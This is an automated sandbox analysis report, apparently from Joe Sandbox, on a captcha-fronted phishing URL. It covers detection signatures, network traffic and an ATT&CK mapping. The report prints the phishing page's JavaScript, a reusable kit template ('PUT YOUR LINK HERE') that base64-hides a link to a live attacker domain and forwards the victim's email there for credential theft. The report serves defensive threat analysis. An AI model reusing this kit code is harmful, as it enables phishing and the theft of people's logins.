Edit tour

Windows Analysis Report
http://hikingandadventures.com/inv/

Overview

General Information

Sample URL:	http://hikingandadventures.com/inv/
Analysis ID:	1586594
Infos:

Detection

Captcha Phish, HTMLPhisher

Score:	68
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Suricata IDS alerts for network traffic

Yara detected Captcha Phish

Yara detected HtmlPhish10

Performs DNS queries to domains with low reputation

Detected non-DNS traffic on DNS port

HTML body contains low number of good links

HTML page contains hidden javascript code

HTML title does not match URL

None HTTPS page querying sensitive user data (password, username or email)

Stores files to the Windows start menu directory

Classification

Process Tree

System is w10x64

chrome.exe (PID: 4088 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 5504 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2576 --field-trial-handle=2484,i,16957082171308088607,17043087348202142174,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8 MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

chrome.exe (PID: 4984 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://hikingandadventures.com/inv/" MD5: 45DE480806D1B5D462A7DDE4DCEFC4E4)

cleanup

Yara Signatures

HTML

Source	Rule	Description	Author	Strings
2.5.pages.csv	JoeSecurity_CaptchaPhish	Yara detected Captcha Phish	Joe Security
1.0.pages.csv	JoeSecurity_HtmlPhish_10	Yara detected HtmlPhish_10	Joe Security

Suricata Signatures

ETPRO PHISHING JS/PsyduckPockeball Payload Inbound

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-09T11:27:06.553632+0100	2857090	1	Successful Credential Theft Detected	165.227.159.34	443	192.168.2.5	61238	TCP

HTTP traffic detected: HTTP/1.1 404 Not Foundkeep-alive: timeout=5, max=100cache-control: private, no-cache, no-store, must-revalidate, max-age=0pragma: no-cachecontent-type: text/htmlcontent-length: 1251date: Thu, 09 Jan 2025 10:26:51 GMTserver: LiteSpeedx-turbo-charged-by: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 31 30 30 25 22 3e 0a 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 73 68 72 69 6e 6b 2d 74 6f 2d 66 69 74 3d 6e 6f 22 20 2f 3e 0a 3c 74 69 74 6c 65 3e 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 40 6d 65 64 69 61 20 28 70 72 65 66 65 72 73 2d 63 6f 6c 6f 72 2d 73 63 68 65 6d 65 3a 64 61 72 6b 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 30 30 30 21 69 6d 70 6f 72 74 61 6e 74 7d 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 34 34 34 3b 20 6d 61 72 67 69 6e 3a 30 3b 66 6f 6e 74 3a 20 6e 6f 72 6d 61 6c 20 31 34 70 78 2f 32 30 70 78 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 68 65 69 67 68 74 3a 31 30 30 25 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 22 3e 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 68 65 69 67 68 74 3a 61 75 74 6f 3b 20 6d 69 6e 2d 68 65 69 67 68 74 3a 31 30 30 25 3b 20 22 3e 20 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 74 65 78 74 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 77 69 64 74 68 3a 38 30 30 70 78 3b 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 2d 34 30 30 70 78 3b 20 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 20 74 6f 70 3a 20 33 30 25 3b 20 6c 65 66 74 3a 35 30 25 3b 22 3e 0a 20 20 20 20 20 20 20 20 3c 68 31 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 3a 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 35 30 70 78 3b 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 31 35 30 70 78 3b 20 66 6f 6e 74 2d 77 65 69 67 68 74 3a 62 6f 6c 64 3b 22 3e 34 30 34 3c 2f 68 31 3e 0a 3c 68 32 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 74 6f 70 3a 32 30 70 78 3b 66 6f 6e 74 2d 73 69 7a 65 3a 20 33 30 70 78 3b 22 3e 4e 6f 74 20 46 6f 75 6e 64 0d 0a 3c 2f 68 32 3e 0a 3c 70 3e 54 68 65 20 72 65 73 6f 75 72 63 65 20 72 65 71 75 65 73 74 65 64 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 21 3c 2f 70 3e 0a 3c 2f 64 69 76 3e 3c 2f 64 69 76 3e 3c 64 69 76 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 23 66 30 66 30 66 30 3b 20 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 6d 61 72 67 69 6e 3a 61 75 74 6f 3b 70 61 64 64 69 6e 67 3a 30 70 78 20 33 30 70 78 20 30 70 78 20 33 30 70 78 3b 70 6f 73 69 74 69 6f 6e 3a 72 65 6c 61 74 69 76 65 3b 63 6c 65 61 72 3a 62 6f 74 68 3b 68 65 69 67 68 74 3a 31 30 30 70 78 3b 6

Source: chromecache_90.1.dr, chromecache_82.1.dr, chromecache_93.1.dr	String found in binary or memory: https://cloud.google.com/contact
Source: chromecache_90.1.dr, chromecache_82.1.dr, chromecache_93.1.dr	String found in binary or memory: https://cloud.google.com/recaptcha-enterprise/billing-information
Source: chromecache_90.1.dr, chromecache_82.1.dr, chromecache_93.1.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#are-there-any-qps-or-daily-limits-on-my-use-of-reca
Source: chromecache_90.1.dr, chromecache_82.1.dr, chromecache_93.1.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#localhost_support
Source: chromecache_90.1.dr, chromecache_82.1.dr, chromecache_93.1.dr	String found in binary or memory: https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que
Source: chromecache_93.1.dr	String found in binary or memory: https://play.google.com/log?format=json&hasfast=true
Source: chromecache_93.1.dr	String found in binary or memory: https://support.google.com/recaptcha
Source: chromecache_90.1.dr, chromecache_82.1.dr, chromecache_93.1.dr	String found in binary or memory: https://support.google.com/recaptcha#6262736
Source: chromecache_90.1.dr, chromecache_82.1.dr, chromecache_93.1.dr	String found in binary or memory: https://support.google.com/recaptcha/#6175971
Source: chromecache_90.1.dr, chromecache_82.1.dr, chromecache_93.1.dr	String found in binary or memory: https://support.google.com/recaptcha/?hl=en#6223828
Source: chromecache_96.1.dr	String found in binary or memory: https://www.google.com/recaptcha/api.js
Source: chromecache_87.1.dr, chromecache_90.1.dr, chromecache_88.1.dr, chromecache_82.1.dr, chromecache_93.1.dr	String found in binary or memory: https://www.google.com/recaptcha/api2/
Source: chromecache_90.1.dr, chromecache_82.1.dr, chromecache_93.1.dr	String found in binary or memory: https://www.gstatic.c..?/recaptcha/releases/RTbEo8_aWOvLbjGuoA8Hj2oS/recaptcha__.
Source: chromecache_87.1.dr, chromecache_86.1.dr, chromecache_88.1.dr, chromecache_91.1.dr	String found in binary or memory: https://www.gstatic.com/recaptcha/releases/RTbEo8_aWOvLbjGuoA8Hj2oS/recaptcha__en.js

Source: unknown	Network traffic detected: HTTP traffic on port 49674 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61290
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61291
Source: unknown	Network traffic detected: HTTP traffic on port 61300 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61302 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61249 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61249
Source: unknown	Network traffic detected: HTTP traffic on port 61237 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61290 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61256 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61267
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61300
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61301
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61302
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49675 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49673 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49703 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61301 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61267 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 51553
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61237
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61238
Source: unknown	Network traffic detected: HTTP traffic on port 61291 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 61238 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 61256
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49703
Source: unknown	Network traffic detected: HTTP traffic on port 51553 -> 443

Source: classification engine

Classification label: mal68.phis.troj.win@18/35@14/7

Source: C:\Program Files\Google\Chrome\Application\chrome.exe

File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps

Jump to behavior

Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized "about:blank"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2576 --field-trial-handle=2484,i,16957082171308088607,17043087348202142174,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Source: unknown	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" "http://hikingandadventures.com/inv/"
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2576 --field-trial-handle=2484,i,16957082171308088607,17043087348202142174,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	Process created: unknown unknown	Jump to behavior

Source: Google Drive.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: YouTube.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Sheets.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Gmail.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Slides.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe
Source: Docs.lnk.0.dr	LNK file: ..\..\..\..\..\..\..\..\..\Program Files\Google\Chrome\Application\chrome_proxy.exe

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Google Drive.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\YouTube.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Sheets.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Gmail.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Slides.lnk	Jump to behavior
Source: C:\Program Files\Google\Chrome\Application\chrome.exe	File created: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Chrome Apps\Docs.lnk	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	Acquire Infrastructure	Valid Accounts	Windows Management Instrumentation	1 Registry Run Keys / Startup Folder	1 Process Injection	1 Masquerading	OS Credential Dumping	System Service Discovery	Remote Services	Data from Local System	1 Encrypted Channel	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	Scheduled Task/Job	Boot or Logon Initialization Scripts	1 Registry Run Keys / Startup Folder	1 Process Injection	LSASS Memory	Application Window Discovery	Remote Desktop Protocol	Data from Removable Media	3 Non-Application Layer Protocol	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	At	Logon Script (Windows)	Logon Script (Windows)	Obfuscated Files or Information	Security Account Manager	Query Registry	SMB/Windows Admin Shares	Data from Network Shared Drive	4 Application Layer Protocol	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	Cron	Login Hook	Login Hook	Binary Padding	NTDS	System Network Configuration Discovery	Distributed Component Object Model	Input Capture	3 Ingress Tool Transfer	Traffic Duplication	Data Destruction

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
http://hikingandadventures.com/inv/	0%	Avira URL Cloud	safe

Source	Detection	Scanner	Label	Link
http://hikingandadventures.com/favicon.ico	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Reputation
hikingandadventures.com	68.65.120.220	true	false	unknown
0nline1.w212s.xyz	165.227.159.34	true	true	unknown
www.google.com	142.250.185.68	true	false	high
15.164.165.52.in-addr.arpa	unknown	unknown	false	high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
https://www.google.com/recaptcha/api2/bframe?hl=en&v=RTbEo8_aWOvLbjGuoA8Hj2oS&k=6Lep6bEqAAAAAJP5JtQMavf7sZc2r_zYev_mtHp5	false		high
https://www.google.com/recaptcha/api2/webworker.js?hl=en&v=RTbEo8_aWOvLbjGuoA8Hj2oS	false		high
http://hikingandadventures.com/favicon.ico	false	Avira URL Cloud: safe	unknown
https://www.google.com/recaptcha/api.js	false		high
https://0nline1.w212s.xyz/?username=q5we7a@yyp.com	false		unknown
https://www.google.com/js/bg/GaYUpI3TM2ZeJrJuY6shdNLJBEVQZd83XqI1ZKo9ZSY.js	false		high
http://hikingandadventures.com/inv/	false		unknown

URLs from Memory and Binaries

Name	Source	Malicious	Reputation
https://play.google.com/log?format=json&hasfast=true	chromecache_93.1.dr	false	high
https://developers.google.com/recaptcha/docs/faq#are-there-any-qps-or-daily-limits-on-my-use-of-reca	chromecache_90.1.dr, chromecache_82.1.dr, chromecache_93.1.dr	false	high
https://developers.google.com/recaptcha/docs/faq#localhost_support	chromecache_90.1.dr, chromecache_82.1.dr, chromecache_93.1.dr	false	high
https://support.google.com/recaptcha/#6175971	chromecache_90.1.dr, chromecache_82.1.dr, chromecache_93.1.dr	false	high
https://support.google.com/recaptcha#6262736	chromecache_90.1.dr, chromecache_82.1.dr, chromecache_93.1.dr	false	high
https://cloud.google.com/recaptcha-enterprise/billing-information	chromecache_90.1.dr, chromecache_82.1.dr, chromecache_93.1.dr	false	high
https://www.gstatic.c..?/recaptcha/releases/RTbEo8_aWOvLbjGuoA8Hj2oS/recaptcha__.	chromecache_90.1.dr, chromecache_82.1.dr, chromecache_93.1.dr	false	high
https://www.google.com/recaptcha/api2/	chromecache_87.1.dr, chromecache_90.1.dr, chromecache_88.1.dr, chromecache_82.1.dr, chromecache_93.1.dr	false	high
https://support.google.com/recaptcha/?hl=en#6223828	chromecache_90.1.dr, chromecache_82.1.dr, chromecache_93.1.dr	false	high
https://cloud.google.com/contact	chromecache_90.1.dr, chromecache_82.1.dr, chromecache_93.1.dr	false	high
https://support.google.com/recaptcha	chromecache_93.1.dr	false	high
https://developers.google.com/recaptcha/docs/faq#my-computer-or-network-may-be-sending-automated-que	chromecache_90.1.dr, chromecache_82.1.dr, chromecache_93.1.dr	false	high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
165.227.159.34	0nline1.w212s.xyz	United States	14061	DIGITALOCEAN-ASNUS	true
142.250.185.68	www.google.com	United States	15169	GOOGLEUS	false
216.58.212.164	unknown	United States	15169	GOOGLEUS	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
142.250.185.196	unknown	United States	15169	GOOGLEUS	false
68.65.120.220	hikingandadventures.com	United States	22612	NAMECHEAP-NETUS	false

Private

IP
192.168.2.5

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1586594
Start date and time:	2025-01-09 11:25:52 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 3m 9s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	browseurl.jbs
Sample URL:	http://hikingandadventures.com/inv/
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	7
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Detection:	MAL
Classification:	mal68.phis.troj.win@18/35@14/7
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 142.250.185.227, 142.250.185.238, 74.125.133.84, 142.250.185.206, 172.217.16.206, 172.217.18.10, 216.58.206.42, 216.58.212.170, 142.250.185.170, 172.217.16.202, 142.250.186.74, 142.250.186.138, 142.250.185.202, 172.217.18.106, 142.250.185.106, 142.250.185.74, 142.250.185.138, 142.250.74.202, 142.250.186.42, 142.250.184.234, 216.58.206.74, 199.232.210.172, 192.229.221.95, 142.250.184.206, 216.58.206.78, 142.250.186.163, 142.250.181.227, 142.250.184.202, 142.250.186.170, 172.217.16.138, 142.250.181.234, 142.250.186.106, 172.217.23.106, 142.250.185.234, 142.250.186.67, 172.217.16.131, 142.250.186.142, 142.250.184.227, 142.250.181.238, 23.56.254.164, 4.245.163.56, 13.107.246.45, 52.165.164.15, 172.202.163.200
Excluded domains from analysis (whitelisted): fs.microsoft.com, accounts.google.com, content-autofill.googleapis.com, slscr.update.microsoft.com, otelrules.azureedge.net, fonts.gstatic.com, ctldl.windowsupdate.com, clientservices.googleapis.com, dns.msftncsi.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, redirector.gvt1.com, update.googleapis.com, clients.l.google.com, www.gstatic.com
Not all processes where analyzed, report is missing behavior information
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: http://hikingandadventures.com/inv/

Input	Output
URL: http://hikingandadventures.com Model: Joe Sandbox AI	{ "typosquatting": false, "unusual_query_string": false, "suspicious_tld": false, "ip_in_url": false, "long_subdomain": false, "malicious_keywords": false, "encoded_characters": false, "redirection": false, "contains_email_address": false, "known_domain": false, "brand_spoofing_attempt": false, "third_party_hosting": false }
URL: http://hikingandadventures.com
URL: http://hikingandadventures.com/inv/... Model: Joe Sandbox AI	{ "risk_score": 4, "reasoning": "The script has a moderate risk level due to the following factors: - It uses the `window.location.href` property to redirect the user to a dynamically constructed URL, which could potentially lead to a malicious redirect (2 points). - The script decodes a base64-encoded string to construct the final URL, which could be used to obfuscate the destination (2 points). - However, the script also includes a basic email validation function, which suggests a legitimate purpose. Additionally, the script does not exhibit any high-risk behaviors like data exfiltration or dynamic code execution." }
document.getElementById('continue-button').addEventListener('click', function() { continueLoading(); }); document.getElementById('thesupwillsup-input').addEventListener('keydown', function(event) { if (event.key === 'Enter') { continueLoading(); } }); function continueLoading() { var thesupwillsup = document.getElementById('thesupwillsup-input').value; if (validateEmail(thesupwillsup)) { var linkx = "aHR0cHM6Ly8wbmxpbmUxLncyMTJzLnh5ei8/dXNlcm5hbWU9"; //PUT YOUR LINK HERE var decodedLink = atob(linkx); var finalLink = decodedLink + "" + thesupwillsup; // appender window.location.href = finalLink; } else { alert("Please enter a valid email address."); } } function validateEmail(email) { var re = /^[^\s@]+@[^\s@]+\.[^\s@]+$/; return re.test(email); }
URL: https://www.gstatic.com/recaptcha/releases/RTbEo8_... Model: Joe Sandbox AI	{ "risk_score": 1, "reasoning": "The provided JavaScript snippet appears to be a legitimate implementation of a two-factor authentication (2FA) flow. It includes code comments indicating it is part of the Closure Library, which is a well-known and trusted JavaScript library. The code does not exhibit any high-risk behaviors, such as dynamic code execution, data exfiltration, or redirects to suspicious domains. The script is primarily focused on rendering a 2FA UI and handling user input, which is a common and expected functionality. While it uses some legacy APIs like `XDomainRequest`, these pose minor risks and are not inherently malicious. Overall, this script is likely a benign implementation of a security-related feature." }
(function(){/* Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 / / Copyright Google LLC SPDX-License-Identifier: Apache-2.0 / / Copyright 2005, 2007 Bob Ippolito. All Rights Reserved. Copyright The Closure Library Authors. SPDX-License-Identifier: MIT / / Copyright The Closure Library Authors. SPDX-License-Identifier: Apache-2.0 */ var K=function(){return[function(p,v,T,x,I,O,Y,m,R,L,D,Z,V,g){if((p-2&7)==(g=[6,1,34],p<<g[1]&4\|\|(O=v.vD,x=v.k_,m=v.ZW,Y=["Verify your email",'<div class="'," "],R=v.identifier,L=Y[g[1]]+l[g[0]](g[1],"rc-2fa-background")+Y[2]+l[g[0]](g[2],"rc-2fa-background-override")+'"><div class="'+l[g[0]](g[1],"rc-2fa-container")+Y[2]+l[g[0]](35,"rc-2fa-container-override")+'"><div class="'+l[g[0]](g[2],"rc-2fa-header")+Y[2]+l[g[0]](32,"rc-2fa-header-override")+'">',L=(x==="phone"?L+"Verify your phone":L+Y[0])+ ('</div><div class="'+l[g[0]](g[2],"rc-2fa-instructions")+Y[2]+l[g[0]](g[2],"rc-2fa-instructions-override")+'">'),x==="phone"?(T="<p>To make sure this is really you, we sent a verification code to your phone at "+F[44](11,R)+".</p><p>Enter the code below. It will expire in "+F[44](14,O)+" minutes.</p>",L+=T):(I="<p>To make sure this is really you, we sent a verification code to "+F[44](10,R)+".</p><p>Enter the code below. It will expire in "+F[44](8,O)+" minutes.</p>",F[44](11,R),F[44](8,O),L+=I), L+='</div><div class="'+l[g[0]](32,"rc-2fa-response-field")+Y[2]+l[g[0]](35,"rc-2fa-response-field-override")+Y[2]+(m?l[g[0]](33,"rc-2fa-response-field-error")+Y[2]+l[g[0]](2,"rc-2fa-response-field-error-override"):"")+'"></div><div class="'+l[g[0]](32,"rc-2fa-error-message")+Y[2]+l[g[0]](32,"rc-2fa-error-message-override")+'">',m&&(L+="Incorrect code."),L+='</div><div class="'+l[g[0]](2,"rc-2fa-submit-button-holder")+Y[2]+l[g[0]](33,"rc-2fa-submit-button-holder-override")+'"></div><div class="'+ l[g[0]](2,"rc-2fa-cancel-button-holder")+Y[2]+l[g[0]](2,"rc-2fa-cancel-button-holder-override")+'"></div></div></div>',V=vJ(L)),g[1])){for(m=[].concat(l[D=J[R=(O===void 0?0:O)%ZY.length,L=ZY.slice(),37](10),25](8,Y)),Z=x;Z<m.length;Z++)L[R]=((L[R]<<I^Math.pow(D.call(m[Z],x)-ZY[R],T))+(L[R]>>T))/ZY[R]\|x,R=(R+v)%ZY.length;V=Jm(L.reduce(function(S,e){return S^e},x))}return((p^22)&7)<4&&p-5>=-69&&(V=T<v?-1:T>v?1:0),V},function(p,v,T,x,I,O,Y,m,R,L,D,Z,V,g,S,e,Q,y){return((p^((((p^63)>>(y=[0,5,3],y[2])>= 1&&(p\|6)<10&&(V={timeout:1E4},m=V.document\|\|document,S=[0,"style",null],R=F[22](63,O).toString(),D=(new Ko(m)).createElement(v),Z={Yz:D,Oz:void 0},e=new g5(Z),Y=V.timeout!=S[2]?V.timeout:5E3,g=S[2],Y>S[y[0]]&&(g=window.setTimeout(function(A,U){K[F[U=[6,41,11],43](5,0,!0,D),A=new S0(1,"Timeout reached for loading script "+R),14](U[0],T,e),J[U[1]](U[2],!0,T,e,A)},Y),Z.Oz=g),D.onload=D.onreadystatechange=function(A){(A=["readyState",null,"complete"],D[A[0]]&&D[A[0]]!="loaded"&&D[A[0]]!=A[2])\|\|(F[43](21, 0,V.u_\|\|T,D,g),e.V3(A[1]))},D.onerror=function(A,U){A=new (F[43](13,(U=["Error while loading script ",!0,10],0),U[1],D,g),S0)(0,U[0]+R),K[14](7,T,e),J[41](U[2],U[1],T,e,A)},L=V.attributes\|\|{},a0(L,{type:"text/javascript",charset:"UTF-8"}),J[40](32,S[1],x,D,L),J[44](4,I,"",S[2],"nonce",O,D),F[25](16,"HEAD",S[y[0]],m).appendChild(D),Q=e),p)&90)==p&&(O=[12,8855,8067],m=new e0,L=a[7](4,4874)(27,7,O[y[0]],37,1),R=B[y[1]](64,Am.get(),NN,9),J[41](4,function(A,U,f,N,t,G,H,k,n,W,w){return a[7](3,8846)(A.name+ A.id+((f=(w=[8192,"lastChild",2],[1,null,2]),A).getAttribute(L[4]())\|\|""),L[0](),"i")&&(H=a[7](1,7853)(a[7](1,4728)(A).replace(/\s/g,"")),H()&&H().length>4)?(W=H().length,B[16](57,w[0],f[w[2]],m,P[22].bind(null,1),W,F[30].bind(null,20)),R&&P[8](54,R,f[w[2]])&&(G=P[8](30,R,f[w[2]]),t=H().substr(0,HJ[f[0]])+H().substr(H().length-HJ[0]),U=F[10](49).call(parseFloat(G+t)+G,30),F[40](6,m,U,5),n=((k=A.parentElement)==f[1]?0:(N=k[w[1]])==f[1]?0:N.src)?A.parentElement[w[1]].className:"",F[40](22,m,n,7)),!0): 